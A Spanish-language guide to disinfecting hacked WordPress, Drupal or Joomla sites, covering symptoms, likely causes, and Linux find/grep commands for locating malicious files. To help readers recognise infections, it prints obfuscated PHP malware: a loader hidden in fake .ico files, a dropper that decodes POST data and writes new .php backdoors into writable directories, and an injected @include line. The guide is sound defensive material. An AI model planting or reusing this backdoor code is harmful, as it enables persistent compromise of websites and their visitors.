Este artículo, aplicable a cualquiera de los CMS de referencia: WordPress, Drupal o Joomla, trata de resolver cómo desinfectar y eliminar código malicioso de un portal web que ha sido hackeado.
Pero antes de nada vamos a tratar de ir un poco más allá, planteando cómo es posible que nos hayan atacado y por qué.
¿Cuáles son los síntomas de hackeo de mi web?
Pueden ser diversos, pero los más típicos:
- Que al acceder a la web, ésta nos redireccione a otro sitio malicioso. Por ejemplo, que nos reenvíe al típico sitio con publicidad, de apuestas deportivas, o de premios falsos tipo te ha tocado un iPhone o una TV.
- Que detectemos nuevos usuarios creados en el backend del CMS que no son nuestros.
- La edición sospechosa de nuevos artículos o páginas, o la modificación de existentes.
¿Cómo han atacado mi web?
Lo más probable es que el ataque haya aprovechado alguna vulnerabilidad existente en el CMS, o en alguno de los plugins instalados en el mismo. En este sentido la primera medida de seguridad a adoptar siempre, es llevar a cabo actualizaciones periódicas del conjunto.
¿Por qué han atacado mi web?
Quizá la mejor respuesta es porque sí, probablemente no es nada personal. Una vez se publica algo en internet, lo que sea, prácticamente al instante empieza a recibir ataques de todo tipo. Estos intentos de ataque no vienen sólo de China, Rusia o Vietnam como era tradicional, sino de hospedajes en países «de confianza» como Holanda o EEUU. El ataque normalmente no va dirigido a tu marca o persona, simplemente tiene el objeto de hacer daño, o sacar provecho, por ejemplo: utilizar tu servidor o recursos para el minado de criptomonedas, o para participar en una red zombie para propagar spam, publicidad, etc…
Y ahora al lío, ¿se puede desinfectar el portal?
Todo depende del nivel de daños, y de si se puede corregir o actualizar el componente que ha causado la brecha de seguridad.
En todo caso, con las indicaciones posteriores, lo normal es que el sitio quede limpio, a falta eso si, de evitar que pueda ser de nuevo hackeado por no haber tomado medidas complementarias (actualización de CMS, plugins, temas), o porque el hackeo haya podido implantar una puerta trasera que no somos capaces de detectar.
Síntomas técnicos del hackeo:
Internamente es posible confirmar la presencia de código malicioso a través de ficheros como los siguientes:
I. Ficheros ocultos tipo .ico nombrados con caracteres aleatorios:
Ejemplo: ficheros con nombres similares a .588f6054.ico que poseen un código similar al siguiente:
<?php
$_i4h6n = basename/*xf0*/(/*l3b*/trim/*79*/(/*qpba*/preg_replace/*to*/(/*nya9*/rawurldecode/*5*/(/*7n42*/"%2F%5C%28.%2A%24%2F"/*mu4sr*/)/*r2n*/, '', __FILE__/*q0*/)/*w42*//*cy*/)/*6t*//*3*/)/*j*/;$_03t7fwo = "GS%19%11GRUS%5C%40%0C%0....%0ESc%1E";$f=chr/*d*/(/*ac*/147-48/*8xkj*/)/*lwgpq*/.chr/*bn6k*/(/*8k*/114/*mvjsd*/)/*348*/.'e'.chr/*lmen*/(/*x7*/97/*qih*/)/*mse*/."\x74".'e'.chr/*wbt1*/(/*x6*/575-480/*5mw*/)/*1*/.'f'.chr/*za*/(/*17q*/204-87/*wcf*/)/*wn5ao*/.chr/*y7zed*/(/*l6*/1016-906/*xz1*/)/*oenpu*/.chr/*zq*/(/*pnb*/99/*9g*/)/*wv5z*/."\164"."\x69"."\157".chr/*us*/(/*2gon*/110/*qu*/)/*n*/;$f/*2hz*/(/*0b*/'', '};' . /*hulp*/(/*e7*/rawurldecode/*pku6*/(/*x2m*/$_03t7fwo/*sl7j*/)/*ot3ki*/ ^ substr/*or06*/(/*n6*/str_repeat/*wef*/(/*39seb*/$_i4h6n, /*s4o1*/(/*q75c1*/strlen/*s4*/(/*z86*/$_03t7fwo/*rtz*/)/*sl*//strlen/*kq*/(/*dikv*/$_i4h6n/*9b0fh*/)/*2o*//*f*/)/*c*/ + 1/*sunx*/)/*qf6*/, 0, strlen/*275p*/(/*z*/$_03t7fwo/*fm6id*/)/*tsug*//*d6q*/)/*9dw02*//*k0w4*/)/*6ac*/ . '{'/*lcuqg*/)/*4*/;
II. Ficheros .php nombrados con caracteres aleatorios:
Ejemplo: ficheros con nombre similares a njdthkee.php que contienen en general tratamiento de variables:
<?php $rnxopp = "kxrtipzprnnecuhy";$uxkdzfyrz = "";foreach ($_POST as $jaiymuoabw => $swqbwdrlsyb){if (strlen($jaiymuoabw) == 16 and substr_count($swqbwdrlsyb, "%") > 10){dwfjascus($jaiymuoabw, $swqbwdrlsyb);}}function dwfjascus($jaiymuoabw, $lwobcbiqx){global $uxkdzfyrz;$uxkdzfyrz = $jaiymuoabw;$lwobcbiqx = str_split(rawurldecode(str_rot13($lwobcbiqx)));function wqdhek($jtrvebxp, $jaiymuoabw){global $rnxopp, $uxkdzfyrz;return $jtrvebxp ^ $rnxopp[$jaiymuoabw % strlen($rnxopp)] ^ $uxkdzfyrz[$jaiymuoabw % strlen($uxkdzfyrz)];}$lwobcbiqx = implode("", array_map("wqdhek", array_values($lwobcbiqx), array_keys($lwobcbiqx)));$lwobcbiqx = @unserialize($lwobcbiqx);if (@is_array($lwobcbiqx)){$jaiymuoabw = array_keys($lwobcbiqx);$lwobcbiqx = $lwobcbiqx[$jaiymuoabw[0]];if ($lwobcbiqx === $jaiymuoabw[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function norueutu($swqbwir) {static $nxsizf = array();$rvlwcw = glob($swqbwir . '/*', GLOB_ONLYDIR);if (count($rvlwcw) > 0) {foreach ($rvlwcw as $swqbw){if (@is_writable($swqbw)){$nxsizf[] = $swqbw;}}}foreach ($rvlwcw as $swqbwir) norueutu($swqbwir);return $nxsizf;}$jnnnvtv = $_SERVER["DOCUMENT_ROOT"];$rvlwcw = norueutu($jnnnvtv);$jaiymuoabw = array_rand($rvlwcw);$vwhxwgq = $rvlwcw[$jaiymuoabw] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($vwhxwgq, $lwobcbiqx);echo "http://" . $_SERVER["HTTP_HOST"] . substr($vwhxwgq, strlen($jnnnvtv));exit();}}}
II. Modificación de ficheros de sistema e index:
Lo normal es que el index.php o index.html principal del sitio se haya visto afectado, pero además es posible se hayan generado nuevos index maliciosos por cada carpeta existente en el sitio web.
En general se habrán manipulado los ficheros principales de configuración del CMS, en el caso de WordPress, los ficheros a revisar son: index.php, wp-settings.php, wp-config.php, wp-load.php, dónde probablemente encontremos entradas maliciosas como éstas:
@include "\057var\057www\057rev\141was\164e-e\165/pu\142lic\137htm\154/wp\055inc\154ude\163/fo\156ts/\056480\144081\064.ic\157
Limpieza (comandos útiles)
A continuación indicamos una serie de comandos Linux que nos ayudarán a limpiar el sitio web. Se pueden ejecutar directamente sobre el servidor de hospedaje si es que tenemos un acceso al mismo (SSH), o localmente si descargamos una copia de los ficheros del sitio. En todo caso es necesario ejecutarlos desde la carpeta raiz para obtener todos los posibles resultados.
I. Buscar y eliminar todos los .ico infectados:
A priori el sitio únicamente debiera tener a lo sumo un fichero de tipo ico denominado favicon.ico. Localizaremos con el siguiente comando todos los ficheros con esta extensión que no coincidan y los eliminaremos:
find ./ -name "*.ico"
II. Buscar y eliminar php infectados:
Con el siguiente comando obtendremos un listado de todos los ficheros php que existen en el sitio con caracteres aleatorios, que en principio van a ser maliciosos:
sudo find . -type f | egrep './[a-z]{8}\.php'
III. Buscar ficheros php infectados por contenido:
A través de los siguientes comandos rgrep, podremos obtener un listado de ficheros que contienen las típicas cadenas maliciosas relacionadas a un hackeo. Conviene no obstante revisar uno por uno por los resultados, no eliminemos algún fichero falso positivo:
rgrep -e "@file_put_contents" ./
rgrep -e "basename" ./
rgrep -e "@include" ./
rgrep -e "rawurldecode" ./
Notas adicionales:
Conviene además de todo lo anterior, revisar la base de datos. Lo más sencillo es hacer un volcado de la misma a fichero, abrirlo con un editor tipo Notepad++ y busca cadenas o contenidos maliciosos típicos.
Por último debemos asegurarnos que la web queda totalmente actualizada (CMS, plugins…) antes de volver a publicarla. También es necesario cambiar las credenciales de usuario, y de base de datos.
Por último, es conveniente disponer de un firewall específico (WAF) e instalar complementos de seguridad que ayuden a mantener la web segura (ej. All in one WP security para WordPress).